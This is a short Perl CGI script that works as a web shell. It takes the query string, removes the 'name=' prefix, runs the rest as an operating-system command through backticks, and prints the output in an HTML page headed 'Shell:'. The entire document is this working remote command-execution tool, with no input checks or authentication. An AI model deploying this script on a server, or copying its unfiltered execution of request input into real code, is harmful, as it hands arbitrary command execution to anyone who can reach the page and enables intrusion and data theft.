#!/usr/bin/perl -w my $name = $ENV{'QUERY_STRING'}; $shell=$name; $name=~s/name=//g; $name=~s/ +/ /g; print "Content-type: text/html\n\n"; print "\n"; print "

Shell:

\n"; print "
\n
\n";
print "$name\n";
print `$name`;
print "
\n
\n";